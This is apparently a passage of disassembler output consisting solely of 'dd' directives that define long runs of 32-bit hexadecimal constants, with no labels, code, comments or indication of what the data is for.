		dd 0FA0A0522h, 0F086DEC8h, 463E7F19h, 48FC205Eh, 0B34A28D2h
		dd 9A057381h, 29EF90EFh, 0C77AA82Eh, 96605F26h,	0FA82771Bh
		dd 41D096D9h, 63064CFAh, 0BCAEA65h, 0E4D6748Bh,	146C7093h
		dd 82EB2306h, 1DCE7D33h, 9C93B407h, 5F9CED15h, 4D13FF3h
		dd 0A216C682h, 24531ED9h, 0AE848CCh, 3C2B70A6h,	0DF4FD2DAh
		dd 98219E0Ch, 0F4618A59h, 315718Dh, 16AA668Ch, 7E43425Dh
		dd 0B8DAFD3Fh, 788A51B2h, 5B07939Ah, 0C19A7CEFh, 0C8949EE9h
		dd 37B300C9h, 87EBAC25h, 0CD646536h, 49D2C6D9h,	9B3B9E0Ah
		dd 28B87768h, 0E1754C82h, 82A5E2Ah, 0F0D871A1h,	866AD4B6h
		dd 5C0FB4D1h, 3B676B41h, 0F987ABEh, 0B1DBD24Ch,	231E5F46h
		dd 557AD906h, 39098B4Eh, 504DB4CAh, 6A5CD0CFh, 8E4271F3h
		dd 24278A1h, 2E2DA272h,	0FD38D394h, 5907209Ah, 36095FFFh
		dd 586211CEh, 9A586DA4h, 678F81CCh, 0CDC22066h,	160065DAh
		dd 0B357B81Ch, 0A4492F04h, 467D51B4h, 0F677C2FDh, 0C60E9D3Fh
		dd 0CEB45F0Fh, 0BB2CD1D2h, 0AFFD81DAh, 9B20023h, 0DC5C7C04h
		dd 2AF2FA54h, 98B52A5h,	4CA5EE31h, 26820391h, 0EA291995h
		dd 28235089h, 9279F9Eh,	40866189h, 6CE09F3Ah, 0A007780Dh
		dd 59A7186Ch, 960D3803h, 5FB8D840h, 951FEBCBh, 84B2879Fh
		dd 5364E942h, 38C71F43h, 268BBD7h, 1AF2A1ABh, 27BF0B91h
		dd 5654B390h, 11064387h, 0BE71FDh, 7D59C18Fh, 0AA1A08ABh
		dd 0CA4C9D7Bh, 4544E0ADh, 17CA2971h, 0A7991D04h, 0C4F826B8h
		dd 0E4C31B3Ch, 0DAA0E84Dh, 65C00F81h, 570185F8h, 0C6414463h
		dd 0BA8614FEh, 0D6FB5EEEh, 1AD85293h, 15994968h, 900BDDF8h
		dd 60C348C7h, 58DC4AE7h, 36750F0h, 0EFC9F7C9h, 7F954968h
		dd 70241F0Dh, 0BE8C05Bh, 5BC425E5h, 9952B79Ch, 13C6E1E4h
		dd 9F0DE6FEh, 19752BF8h, 2DAECF1Eh, 0BDE1D914h,	999A05C4h
		dd 1854A1F5h, 0C5000E46h, 87D1195Bh, 0FB9894Eh,	0F67DF0C7h
		dd 0BA8CEF7Bh, 6FF41F04h, 0B9A4F3Dh, 0F27B6F8Fh, 0C15E1BEFh
		dd 6DF3CDFCh, 0D7B292Ah, 4FB0021Ch, 98450B82h, 0A563B303h
		dd 0FCD8C191h, 0F9EF01D2h, 0B4A79689h, 38829D18h, 0EA20D122h
		dd 4F03DDBDh, 4D2D0821h, 0F248F880h, 0AA9EC4A8h, 0CAD0E8FBh
		dd 37318BC1h, 45B7057h,	4BD86A1h, 1922C46Ch, 0EFEA414Bh
		dd 0AB2A1683h, 3E89D8D9h, 4A9DA57Eh, 9C8DA8ADh,	0BBF45D0Dh
		dd 5DACD8h, 58F543F7h, 0FE03B414h, 866742A7h, 0A4749BE6h
		dd 50887076h, 0A738B57Bh, 9070FE9Eh, 593B05F7h,	0E338F65Fh
		dd 2B359EC7h, 561A4918h, 0E838910Ah, 0FFB841BBh, 0A4DE809Ah
		dd 6DBD141Dh, 0C3273304h, 202D47A3h, 0A2FEAD9Ah, 1D925269h
		dd 0FC721504h, 160C308Eh, 97BFF1F7h, 9366315Eh,	95C60FD5h
		dd 0C41D07F5h, 37B313AAh, 15651F5Eh, 0B514F751h, 1AE92307h
		dd 0A61B23FDh, 7821FEFEh, 4B8146A4h, 88B7A0CCh,	73B049D8h
		dd 355F9407h, 1D22E927h, 376C0068h, 5407E26Ah, 0B3D25155h
		dd 731B07F4h, 2292BE20h, 0AA4F44F9h, 0A28ED55Bh, 6DBB1C1Ch
		dd 5047F8CEh, 0D6DD6F6Ch, 87CDE791h, 0FCC0172h,	220DE323h
		dd 93EA5A7h, 0DA7F1F97h, 0C054D7F6h, 7CF13488h,	90ED76A3h
		dd 0CB4C8645h, 0AC1C7A0Bh, 478166A0h, 8574984Dh, 715DD78Ah
		dd 9389EA66h, 0FAFD0429h, 0DA79ABF5h, 456A4C2Dh, 17343C6h
		dd 2958207Ch, 0F0EED566h, 7ED49F79h, 0E8573179h, 0D4CD12E0h
		dd 0BC4435DEh, 4BE7B862h, 2EC241EAh, 0D6819EA5h, 0A3EF8C2Bh
		dd 0C34F9E03h, 0D229C4EDh, 0C515F6BDh, 0AB2C4AFCh, 89EB66BBh
		dd 0C20CA0FAh, 942A974h, 51A8BF27h, 0A24CC02Eh,	0E7AE5E4Ah
		dd 11F45923h, 0B3A2DB84h, 0F70DE37Bh, 6B00C2F8h, 45427206h
		dd 7F4D8D78h, 2A4AAC80h, 8B98DFDFh, 0AE367EF8h,	0FE22A2FBh
		dd 7E26E151h, 0C23405A9h, 30494568h, 2D3640ADh,	0C3D9A524h
		dd 0B01743E8h, 3038FFB5h, 1A46DC5Ah, 11C26E7Eh,	0E90D793Eh
		dd 0EFADD04Ch, 0AD8C527Ch, 0B52CF64Ch, 0C8611040h, 9B2DE36Fh
		dd 0EB9BC00Bh, 24DEF70Ah, 3DF19A82h, 3D721DF7h,	2B61599h
		dd 12BCBF9Ch, 0C9C78A8h, 0CF722D9Dh, 6F2F6FCAh,	0DDF979Eh
		dd 4FC82A07h, 5C53B460h, 3854D84Dh, 8AE008ECh, 1DA16BF5h
		dd 0A4762D75h, 6541F590h, 0CDF74E38h, 52F630B0h, 1C5F6E42h
		dd 22072CF6h, 69A128CEh, 0EDC8F5BDh, 0E5C43EE3h, 2E6A10DBh
		dd 5FC7FA49h, 83A26801h, 4CF89891h, 0E0CD190Ah,	0ED831F38h
		dd 0AA5F1477h, 729B3EC5h, 0A209B134h, 5A5471D9h, 12ADB230h
		dd 338DAA43h, 0C1616D8Eh, 86ECEF7Ch, 2E43590Ch,	3021EE82h
		dd 569D47D6h, 28B15E48h, 0AB0C484Ch, 59999D8Dh,	0BBB0B1A5h
		dd 597E907Fh, 0A9CD69E0h, 0ACC17161h, 0D9ACF275h, 8E984E7Ah
		dd 438425ADh, 0CA67423Eh, 0C859FFC9h, 0B780ABC8h, 696985F9h
		dd 50692360h, 0B8666B8Fh, 0CFB71ACDh, 0EF393A5Eh, 0AB0A7345h
		dd 755DDAE6h, 0BD8AC951h, 52DEDD96h, 614C104Fh,	662CDFB7h
		dd 2AC583F0h, 4D29BB4Dh, 0CB86107h, 0BECA445Ch,	0A6D63ABCh
		dd 9691974Ah, 0EF479E62h, 24BFE3CEh, 1F5B6983h,	15A49F22h
		dd 0A35EB8D1h, 27B27D71h, 79076EAEh, 9811C216h,	17174E05h
		dd 0FD808E5Eh, 0A4C23924h, 0D7727EBAh, 0D0816B83h, 0BD5B09C6h
		dd 0B2538C04h, 5EC58681h, 6B625CA0h, 6AD5537h, 0E9E90683h
		dd 2A7A0E63h, 84D369DAh, 0AB7EF8A1h, 722CC228h,	41FD2076h
		dd 0FD5CB547h, 0A5D3104Ah, 2209105Fh, 0D30CC424h, 0D2649C71h
		dd 47D46EBDh, 4C8A03Ah,	0CA5BEC6Eh, 0F9ACF2FAh,	0E547E023h
		dd 5AB6058Ch, 0B6F862Dh, 7ADA59CCh, 3DB6A0BDh, 5035F519h
		dd 4C4E2151h, 0AF287B93h, 0AB89C191h, 0C7791172h, 79DC3F47h
		dd 0F9606A40h, 0FB035F18h, 0BA38232Bh, 2FE9F90Ah, 5D59AE1Ah
		dd 944C14Ah, 0E18CE822h, 0BA196B5h, 10E7616Fh, 0CA62DD8Fh
		dd 31E92E5Eh, 0BFC770F6h, 0FAD1943Ch, 0FEAAC99h, 0F434C00Dh
		dd 0DA29D29Eh, 0CCF0510Fh, 28720431h, 0E7FA6DE5h, 9681B19Fh
		dd 6C9F571Dh, 9DD47D6Bh, 81C4AA24h, 88069E07h, 0C043BD50h
		dd 88AC18E7h, 8435647h,	77D5CD8Fh, 5E9D867Ch, 0BCA2775Ah
		dd 0DE45CF1Bh, 0B9921C4Ah, 0C3C118E3h, 5A98C2Ch, 0CC70C90h
		dd 0BE666379h, 418CAFD3h, 4AD0537Ah, 5AEC041Fh,	623564B9h
		dd 4DD75A46h, 0B9727FAFh, 0BAB90161h, 6D828E84h, 10589482h
		dd 0A98050B4h, 853273B1h, 87522CECh, 0F0225DBh,	497CB424h
		dd 9AB8841h, 9C89F7E2h,	0F2057A33h, 0B3BF9B27h,	0C96ABFCBh
		dd 0BFB46444h, 76CC2BA6h, 3645E814h, 0E3D4F617h, 2D3F1940h
		dd 0A894A20Eh, 1710027Dh, 806E8928h, 0C86C6858h, 0CBE4616Fh
		dd 0ADF8089Ch, 0B3F58830h, 0E0B1B070h, 0C290235Bh, 6846E21Eh
		dd 7B537F69h, 52ABEBF8h, 84A3A636h, 87D2DA83h, 5BDAC1EBh
		dd 0E904E40Ch, 77C88DF0h
		dd 6F2FD7A9h, 74B94C48h, 7016BD1Dh, 12DF7331h, 3C3AA6FEh
		dd 1799D5CDh, 0C48F4114h, 67B23783h, 0D8D70AA8h, 79AE14CFh
		dd 0C58BADC8h, 9BAF7734h, 0E0C9045Eh, 0DBAD0049h, 0EDF19E85h
		dd 433BF89Ah, 489D3EB5h, 4F6835EBh, 9B0E3ADEh, 0E7DFD23Ah
		dd 868C38CEh, 0FBA57B5Ch, 0E37A9A72h, 0EF4DEFCh, 7D977A5Dh
		dd 0D3CE78D5h, 4CDACB34h, 0D35A5D8h, 0B8EDAD6h,	0EB2252F9h
		dd 0D360988Dh, 0DA9F7F93h, 3ED279ACh, 0CA2B0815h, 0D3A670BEh
		dd 1EF98601h, 194618AFh, 0C646A6AAh, 284D502Fh,	0B8FCB6ECh
		dd 9B5FE97Ch, 0BCF4FA26h, 0FBF7C2F9h, 0B759E5ECh, 2A81EC0Bh
		dd 0FB66D2B1h, 0FE41069Fh, 4CEB791h, 5E957803h,	0CC0EA53Bh
		dd 96381E4Ch, 98309709h, 54A981D5h, 84C89F68h, 4EDBFFA2h
		dd 0D2FA887Ah, 0B700DE79h, 49F399ADh, 575F686Bh, 0CF90C24Ah
		dd 0F386CCE3h, 0E223E5ECh, 1E5A9241h, 0B4A63984h, 0B967476Ch
		dd 0C24F7691h, 1127B626h, 5144CB45h, 0D2CE40AFh, 611307D4h
		dd 3EE9A0Bh, 2878A794h,	0EEAB1ACEh, 2294BFC8h, 0D3B107ACh
		dd 2D2064CDh, 6693D14Bh, 0D871259h, 0DE76920Ah,	6F5F7538h
		dd 0E46AB902h, 9AB34F7Ch, 662D78D5h, 40E729C7h,	0A7B83E43h
		dd 3B2237DBh, 67342ED2h, 0F879F5F0h, 62EC55E6h,	1D32B714h
		dd 0FE479B1Ah, 0F4F5CCCh, 50696708h, 32DBC011h,	0DB5EF616h
		dd 9610C9Ch, 1C7D49D4h,	6DA1E6F2h, 0A23FCD4Eh, 96FDE25Fh
		dd 0D239C9F9h, 3E0FD067h, 34740847h, 10380319h,	78F83B95h
		dd 7DB739FAh, 76239A61h, 0D3DB4915h, 51598AECh,	423795F9h
		dd 0B8E758C3h, 6ED15E06h, 0E62CE227h, 3D302511h, 1DAB27Fh
		dd 758E9F2Ch, 0B0CEA613h, 676966FDh, 0F37F0B15h, 0B3382738h
		dd 0C08B46Ah, 37ED72B3h, 55BAB4B4h, 706E4147h, 74635D2h
		dd 0DFDFD906h, 0AFCF70CCh, 0E980DFE4h, 0BBCE8B43h, 92263029h
		dd 0A33800Dh, 7C165D1Bh, 0B9929935h, 642D16B9h,	2993485Dh
		dd 79359D4Fh, 7973EBFBh, 0C554E3A1h, 0FEAFF293h, 0D4E8EFA7h
		dd 0B29B7152h, 21EBE5E8h, 15D4AC1Ch, 5A1105F4h,	0B100ED11h
		dd 2F1C6B43h, 543F3520h, 50EF811Ah, 0C51EB912h,	0E1A08303h
		dd 4E1FE6E5h, 0FDB75004h, 66A02B5h, 4DB3B005h, 43C61E3Ah
		dd 3BC8A86Eh, 0A1F7A586h, 0EE7E29CDh, 8807698Dh, 0C1A3E5C8h
		dd 2E3054FFh, 0F4B3399Dh, 284E6EA3h, 40B7CF65h,	0FCBAB87Ah
		dd 18833763h, 0FC8A5F25h, 0F8AC9765h, 0E91A1F2h, 0B0EA9EE7h
		dd 0C64EE6FCh, 0FF97939h, 0BC753B44h, 9A79328Bh, 6CE0D23Ah
		dd 0CBF8BB4Bh, 0BEC15E3Bh, 0DFD1C145h, 0A56CE157h, 95B611D4h
		dd 27A18F17h, 8C8E18BDh, 0DAF7D6ECh, 240AD4F0h,	0A890B20Fh
		dd 5364798Dh, 0EFB17C3Eh, 0EA2AE334h, 37F80662h, 1A2A1EE3h
		dd 5255EB2Dh, 6F50CC8Ah, 40763985h, 0CFF489A5h,	8AF04D14h
		dd 0C9C01D5Bh, 81905DBAh, 81D0E713h, 17912121h,	53BB86C7h
		dd 46FBFCD7h, 1566FBF3h, 86AFCED4h, 156BB9EBh, 64E3A3EBh
		dd 0BE21486h, 7C22772Fh, 69892D09h, 97BDD91Bh, 0FA193661h
		dd 4DB7123Dh, 8ABA5B30h, 1E86F579h, 0ED6DB2CEh,	4A1B2460h
		dd 0A819B66Fh, 7837B60Bh, 0CE31768Eh, 180691FBh, 0CBB3675h
		dd 5AAEE364h, 211911CFh, 280AA206h, 95C0E0B0h, 92EC17A6h
		dd 7FF6CD2Fh, 83AE7F3Ah, 707B0295h, 7C8C71Bh, 67B62370h
		dd 62361346h, 0C4B46532h, 0A670BB12h, 0E8E9F283h, 6FE2DAB8h
		dd 52F18CEh, 2C9910F3h,	0E965F54Eh, 39CEC4E6h, 902C6DD5h
		dd 0A3042BADh, 0FB7E68E8h, 3BF96944h, 805A14E9h, 0A024CA56h
		dd 0A3552FCFh, 3C500A99h, 68ED1B13h, 6742CE87h,	293B4996h
		dd 2B7B40E5h, 1FE1CBAFh, 0E736A99Eh, 0DA087F3h,	4E2B8724h
		dd 0EAF6BB20h, 0FDAF806Ch, 0BF487726h, 0D98F92DBh, 0D9AA9634h
		dd 9F57310h, 0DF00E39Dh, 21B3CD4Ah, 489D337Bh, 0CBFA777Ch
		dd 8C9703FCh, 8F94708Bh, 700E8E99h, 0D702FA58h,	0AB1369F3h
		dd 0C5924CE1h, 6586A8F3h, 0FA9DFD29h, 0C8A67A84h, 78FE2D85h
		dd 1323EE71h, 0E4148645h, 0C1C142A6h, 0B40D8AB6h, 19DF6872h
		dd 91D75B28h, 1583CD69h, 0CCA3C01Eh, 4CFDF438h,	784D9083h
		dd 0C7E03EEEh, 8867B06Dh, 0F8E4AE2Eh, 3130595Fh, 0C72A13DAh
		dd 0AB322417h, 77B5F980h, 5F706D1Ch, 926A167Ah,	3A126DFFh
		dd 4D498FC7h, 46375619h, 3361DD16h, 609001AFh, 0F2B6144h
		dd 1BCF79D4h, 86B42C12h, 0E98FFADFh, 0EDC12E2Ah, 0DFB79B0Fh
		dd 939240F3h, 2AE24769h, 0E4D9EF3Ch, 7A6DE970h,	18C40F3h
		dd 302F157Ah, 61E0DCC6h, 0D2211D63h, 0A26E9CCFh, 0F40D4D81h
		dd 0C088BF1Fh, 5079E00Ah, 1A0676A5h, 4C72904Ch,	7E2A6BB1h
		dd 0F42C83EFh, 0B5AC7A48h, 0C5E7F5F3h, 5651B51Fh, 0F0568208h
		dd 6B04B344h, 14E618ADh, 5B8245DDh, 0AA046523h,	8F63A2F2h
		dd 0F0B525EEh, 6B45461Bh, 9DADD812h, 0C7000AB5h, 0EE63BA7Ch
		dd 0E4E1EDADh, 0C812E55Ch, 0ECD73186h, 0B596547Fh, 19BFBB06h
		dd 0DD1C6A06h, 68D1E498h, 3F19CB83h, 60F2E796h,	0C4FD7B1Bh
		dd 0B03E9ABBh, 176B63EFh, 3A682A94h, 0E2F28F78h, 41971Dh
		dd 0CB84E9F7h, 28CCFE5Eh, 42780D39h, 412E5BECh,	0C1875567h
		dd 0D7686BD7h, 79CB03ECh, 0FFDBB4F6h, 6D318776h, 0F5B9B23Eh
		dd 646F4494h, 1FD66416h, 0C2996AF6h, 0D14B3233h, 0EADAD7C0h
		dd 3058C7F0h, 0E8EB3BBh, 5F4384B2h, 0F99F29C3h,	0D624DE3Eh
		dd 317AA663h, 5A52F007h, 0A7E16CC4h, 6E4C438Dh,	0DCD713D4h
		dd 68490CABh, 443C6C95h, 0C629EAF9h, 0C4CB35DEh, 0DE24F314h
		dd 0DB7894E9h, 0EE3A63FDh, 98AE875h, 56A0ACD4h,	0F19AD349h
		dd 9661F9F7h, 9CA8810Fh, 0C25E5701h, 0AC01AFA0h, 0EFB7BCD2h
		dd 1D99AB50h, 0EBDA7ACh, 0CD7EE399h, 563AE5F0h,	5774EB5h
		dd 402EC99Ch, 943DECE5h, 6CC3F6EBh, 654164C8h, 0EDFC6DAh
		dd 4A22456Eh, 8B341DB9h, 54BE8C4Ah, 0F9A36B09h,	0E38082F1h
		dd 79BD83FAh, 0F9E19ECEh, 9D0283ADh, 6F0DB50Dh,	0D3459627h
		dd 2030F604h, 33AFAC91h, 657750Dh, 0A7236FB0h, 6992F2D8h
		dd 0F0FFFF49h, 0D3A1B6DBh, 0FE22FF6Fh, 766931A5h, 35C6F90h
		dd 78DCA29Ah, 65A11AB3h, 0D2C741DFh, 32B727E3h,	0FE8AF456h
		dd 0FDC594BFh, 0B57EC5Fh, 0DC6C9F88h, 91935877h, 0EFCC51F3h
		dd 63ECF4B1h, 0C99679Ah, 0B178F154h, 0CE3CCF1Fh, 9B5E4DE3h
		dd 0FFCF38FCh, 9EE4693h, 6CA39670h, 0B8692180h,	0DF7FADC4h
		dd 0B846CE36h, 8838AC63h, 9D504FA1h, 4728360Eh,	1C934FA6h
		dd 2EDE2352h, 1CD96C4Bh, 79D67FDAh, 276E9374h, 82C9B61Bh
		dd 2D501B29h, 3B9A29DFh, 38E7E652h, 627A9B8Bh, 0BA2F77BCh
		dd 0A2E14Ah, 0FD96ED84h, 0C87C06F3h, 0CC6F65E6h, 0AC42A487h
		dd 0FD252F1Dh, 4A9F9FF8h, 0B45600D9h, 6A0B4BCEh, 0AC33BD12h
		dd 0B5C4BA39h, 7372F7EAh, 0D487DE74h, 0FB5B4A27h, 0D1145261h
		dd 7EF41DE9h, 0EAE0CAh,	55488901h, 6D46E395h, 857D4B36h
		dd 6C1029F8h, 0ECD0007h, 0FC6C8B91h, 0B19D5BF8h, 0C79FEB61h
		dd 0F9F23BECh, 0BD2F6D12h, 50E28441h, 0F81C9E0Eh, 7882BCB0h
		dd 64D111B8h, 0C818EB04h, 0DFBCC8Bh, 0D706B8F8h, 0FC44BFC2h
		dd 21697A11h, 0D367E396h, 5B84BD6Bh, 663767A5h,	0A8531C69h
		dd 77BE25EEh, 5B55B204h, 8BAA5618h, 251A82E2h, 696821EBh
		dd 89CAF1E1h, 68CE1B92h, 5FD9A9A4h, 856C70B3h, 0B789EE0Ch
		dd 479761F5h, 0E5A5A03Dh, 2A7C5FF2h, 2553412Ah,	0BEE71435h
		dd 0F4EA175Ch, 6B221F0Eh
		dd 7814FB4Dh, 8A13A9B3h, 724E073Ah, 0E1D2F68Ah,	5EA49623h
		dd 78A6475Ch, 3D6BA092h, 36695532h, 4F2E3719h, 502B3AE9h
		dd 9FC54DEAh, 0DE0861CEh, 0D0C26EA2h, 0ED932BD7h, 0C841AA01h
		dd 8DA4E4E2h, 0A0A11BCAh, 0FDF6BB4Ah, 0B416D96Bh, 0F443416Dh
		dd 0D23D085Eh, 93757125h, 83F63339h, 12D3BC0Ch,	0A74F0805h
		dd 1530D3AAh, 1AEB5504h, 0F435C2F8h, 6E1DC4ECh,	0B25439D9h
		dd 0FA67A337h, 76FFFAEFh, 0F8400D5Bh, 0F9602214h, 0E0B7C1F8h
		dd 0B9A9989Dh, 0CE127A76h, 4E043E1Ch, 5FE4EA0Ah, 0C15F33CEh
		dd 900149DBh, 1202EAAFh, 2FBA7B74h, 0A206B92Bh,	8437DE0Fh
		dd 744B617Fh, 0FEEDBA33h, 0EE3B3210h, 0A60FD280h, 66255C64h
		dd 0B6381441h, 22F89A0Ah, 7687B06Ah, 65E84584h,	0C0335758h
		dd 847A9722h, 536154D2h, 0B3D2BDD3h, 783133D6h,	0A19248D6h
		dd 0F968A360h, 2666090Ah, 4CB28B68h, 5FB6657Ah,	0CD10500h
		dd 337DB981h, 1AF8468Dh, 0C995BCF9h, 60A43DB1h,	0FD272F2Bh
		dd 2C8C9EF8h, 0CA3FA839h, 54607705h, 7969EF7Ch,	4C2B3CA6h
		dd 3CC7FCAEh, 144E51D4h, 1A9FC8E1h, 5B5D3DAAh, 989DC502h
		dd 0FB20B42Ah, 744CBB0Dh, 525F13E1h, 0B2F23B0h,	67E3C40Bh
		dd 0EFCC10DEh, 7872D2C0h, 130C88F0h, 0C9E4A4E2h, 0F3397079h
		dd 0F0D24EDFh, 9678A7h,	0FF7DA1D9h, 87167013h, 0EA9B7F42h
		dd 1D539589h, 76A7F913h, 0D7133481h, 0AFA1D42Ah, 3CDB95B6h
		dd 44700335h, 5846038Dh, 0FD9E5ACEh, 7875B280h,	9B863544h
		dd 0CCD2E194h, 0B9DEA037h, 0EB815998h, 0ADEFABEFh, 0A9631B6Fh
		dd 6D6AAAA8h, 70F658F4h, 45C5B36Ah, 2915815Bh, 0F988D051h
		dd 806F8142h, 0A516325Bh, 0E51BD42Ah, 4CAE7D73h, 14911E3Dh
		dd 0DF16448Ch, 279ADFDDh, 6A9CFF16h, 34D1456Eh,	0EF6EDF62h
		dd 5B1DCDB6h, 6C2A07B4h, 0FC6516EBh, 8BB487C8h,	79A2B3E3h
		dd 33EF4BD5h, 48F71FF3h, 864A7D4h, 0DA4BF611h, 359D38ECh
		dd 395460CBh, 6AD41D89h, 0EB2709C7h, 8EEAC4B0h,	0DF99ED4Bh
		dd 7F6AB2D0h, 0B93B0CADh, 0C4D9D0B6h, 1D1951EEh, 222F9BCDh
		dd 0AFBFFCA4h, 0E9D391CCh, 83122AEh, 0BA5387h, 0BA457415h
		dd 0ACCEC31h, 12EEC383h, 5C16FC0h, 29D5F157h, 8FDE253Ch
		dd 0E2998924h, 7A5C428Dh, 925DEF91h, 74F5FA1Eh,	0BBC1A1F1h
		dd 0E67929Ch, 1A0C5039h, 2FC5DC3h, 0FB0CB1Fh, 5C145A17h
		dd 7A6465B0h, 19D1CE01h, 0D700B051h, 0F47082Ch,	8720B33Eh
		dd 48E0D9CDh, 7C1950F5h, 6446337Ah, 1B9FD9AAh, 184431D9h
		dd 520C25C8h, 0F9A27931h, 573F9413h, 7B59533Dh,	2A602FADh
		dd 0F8147E9Ah, 0AEF924FEh, 936B99F8h, 0D4E293ACh, 0F9C0EB05h
		dd 0E31B8B99h, 0D168131Bh, 0B6C1BAF0h, 0CBF2704Ch, 81556B6Eh
		dd 0A71446D9h, 0F95FBBADh, 35702452h, 1FF86122h, 0D80533DDh
		dd 979419D3h, 0A338BCD6h, 5B9F700Fh, 1BF4CEE5h,	0DC2AEB4Dh
		dd 13E85468h, 0C535E8D4h, 56952B1Fh, 706773C8h,	5CA10C51h
		dd 0C0287D5h, 0C5E0AF8Bh, 0EDAED304h, 9F332050h, 0B5BEEEBCh
		dd 0B1C8D5DEh, 8D5A33A2h, 400076D2h, 0DAA331EAh, 1DFA3473h
		dd 742846E6h, 0E46980C8h, 0B31CE52h, 0D79CAA19h, 245E6FC5h
		dd 0EEAE2BCEh, 0A9F367h, 3C8B8782h, 0CD95DE60h,	97947EF3h
		dd 7A3A80Ch, 0E0F21E70h, 0E234CCB3h, 0D8FA5765h, 0B5DB0DCCh
		dd 506845F8h, 4B339281h, 18B50116h, 1ED56C02h, 0EC30FFFh
		dd 0DF5C11FBh, 0FD91712Dh, 87A1B0Ah, 0C1A071B3h, 3C551DBFh
		dd 0FE9D21h, 0FDFBE23Ch, 0A5E8ABDAh, 12B878C9h,	39046EB6h
		dd 1A3F78E4h, 2AD6502Ah, 26D7C35Dh, 7BEC1B7Bh, 0FC03E5DBh
		dd 0B32C45F5h, 0EA4F88E6h, 94A2FC5Fh, 627C16AFh, 0F1EF6965h
		dd 940A48C5h, 406E1BFEh, 114C577Eh, 7652D197h, 486CEF83h
		dd 0AC2257FBh, 0B20A55BFh, 0D6EB8A64h, 53D51F9h, 2AC38CECh
		dd 259DE01Fh, 0A2996726h, 0A0DDD497h, 91FD5C46h, 3235EFD5h
		dd 8A090CCDh, 0E5DFFDBBh, 8F5711A1h, 6EF339CAh,	43303216h
		dd 0B7C8A7E7h, 0D725BD54h, 39B5CA5Bh, 0AFF78978h, 0B46645C4h
		dd 0E77BC65Ch, 18AB7054h, 0C0D816DAh, 0E8469457h, 78575A06h
		dd 7D44F4ADh, 8AC0EDCBh, 173C941Ah, 0F5CEEEBh, 0E733C6A9h
		dd 3DC8628Fh, 9A00B462h, 82845BADh, 0DF943013h,	8066FB36h
		dd 639440CAh, 0A3DD8FCDh, 0F6916FEEh, 32D01A45h, 0D821428Bh
		dd 3A7BB95Ch, 607468F3h, 464ECAF1h, 0D3886D6Dh,	0FC050F19h
		dd 1D83039Fh, 0F7C648F0h, 5A74364Fh, 3DBEE9A5h,	8B5FE25h
		dd 0F0E19131h, 43E7CEFAh, 0F28AD025h, 0A6392603h, 0DB0FB454h
		dd 422B012Bh, 4D666BC2h, 3EF31381h, 435B2FF4h, 0DE5A2252h
		dd 0AECC6465h, 0C1141337h, 3ADCBF2Eh, 0D487DA6Fh, 116F0539h
		dd 0B2FD7D26h, 0EF2B32CDh, 5FEC1346h, 2F951149h, 0E6C255D9h
		dd 0EBE02D33h, 0CA637416h, 8215C5EEh, 4CA0AEFDh, 8AE4E0F4h
		dd 4A48749Fh, 0D9217229h, 29657A89h, 2B164A75h,	57E05562h
		dd 5BD4F66Ah, 0B616549Eh, 4B371011h, 9F18322Ch,	0AFD2BCE1h
		dd 3D4887D1h, 9E8AC911h, 271BFA67h, 6B34D614h, 3BFB2B56h
		dd 75E98499h, 6302F771h, 65C4F78Ch, 7ADBD983h, 0ED03DF3Bh
		dd 48847F8Fh, 4690CBA7h, 4F46ABDDh, 5EA5F11Bh, 0C0003C0Bh
		dd 0F4549B1Fh, 0CE16B1D8h, 0DE6F6C34h, 86ED755Fh, 619A7AC3h
		dd 98561B32h, 0F0088071h, 0B4A3BD5Ah, 443A3DD1h, 0F05A57EAh
		dd 9D1066D0h, 0C506EE5h, 0AA9807D7h, 7A847620h,	20CF8753h
		dd 21716A17h, 7A3D419Eh, 1C14C480h, 0B5C29046h,	0BF97B721h
		dd 864A29BDh, 4EB3F7DEh, 0B2E77446h, 0D2CFD0CDh, 594E53AEh
		dd 7974D0AFh, 0A00BD12Dh, 5E51FA9h, 1457BBE0h, 0A8D6BF5Fh
		dd 8CBF2597h, 999A05E2h, 0DF654341h, 2CC229Eh, 77DEE5D4h
		dd 34F858F6h, 0A6A84234h, 7D4CBE69h, 28F0EBFAh,	274AFEDFh
		dd 3CFE2957h, 0D8A0E541h, 0D777C6E2h, 10867423h, 0A0C8A5Ah
		dd 65CE4A8Dh, 5467A9BFh, 15F237E2h, 0F798767Ah,	0C44CB7F0h
		dd 0AD600A19h, 0A8D6422Dh, 863591D4h, 0C97392Bh, 9828ECA7h
		dd 0BE0EEDAh, 1657C8C6h, 0C3D95252h, 80F1CC8Fh,	94F98BABh
		dd 0D7FD2972h, 0CFEA389h, 93D85EE0h, 950A81C9h,	0F62F312Eh
		dd 7C699B28h, 5CABFF10h, 0D935B111h, 0BFD868A5h, 7366336Eh
		dd 68FFA8A7h, 9DF1461Bh, 3874AA27h, 49F419A0h, 0BC671FA9h
		dd 1FCC9AC4h, 685CA5D3h, 2CF6C522h, 12D703F7h, 676292E8h
		dd 0ED34CAB0h, 8DF57E56h, 97B5377Fh, 0A8900B12h, 631A38FAh
		dd 0BE21ADC0h, 0CDFBE5DBh, 80A56A9Dh, 0CCE15BBh, 0C18EC713h
		dd 0EDF6BB9Ch, 352F51D0h, 2578202Fh, 2EA4BCF9h,	109EC741h
		dd 0FBE252F9h, 90E760E8h, 8D3D4733h, 0FA46D36h,	4DE47742h
		dd 48269E8Ah, 1498E1AAh, 0AF2B561Ah, 0AD22452Ah, 1A68B0ABh
		dd 417219CDh, 17344DB1h, 95666F6h, 0D1579EB8h, 67601297h
		dd 11AEB772h, 30553DFCh, 268D51D2h, 9145786Dh, 0EF2001D5h
		dd 8C570761h, 37DC722Ah, 6D99F565h, 8006F675h, 0EC0DDBD1h
		dd 144A67E0h, 4F124B5Fh, 6446D08Ch, 0E73E60EAh,	5DE28844h
		dd 38D998D2h, 19DEDEE7h, 95A33A65h, 5038BD43h, 4AACCAD9h
		dd 7B10CC98h, 0F2B4C722h, 49AB8051h, 0BED7906Ch, 6356C27h
		dd 5A71B4EAh, 200006FAh, 81D33F2h, 25CDD830h, 0ACBC319Dh
		dd 0F021213Fh, 0E28E12FAh, 3AACAE53h, 37141370h, 6EEC1C34h
		dd 547E146Ah, 94F07DE4h, 1E708EF8h, 1F306638h, 903E74E0h
		dd 5213C21Eh, 0E84FDC9Fh
		dd 3E28814Dh, 352EA4BEh, 0FD77BD1Ch, 268D0C50h,	2E3D5400h
		dd 6BF8DC27h, 3ACACE42h, 26663065h, 1EBE21B3h, 3BD5917Dh
		dd 0CD2FAE24h, 0D760F768h, 4DBAF789h, 35EE61D3h, 3E828C63h
		dd 215C6E3h, 0F4673F61h, 46FAF8E1h, 776D53EEh, 0D70F1566h
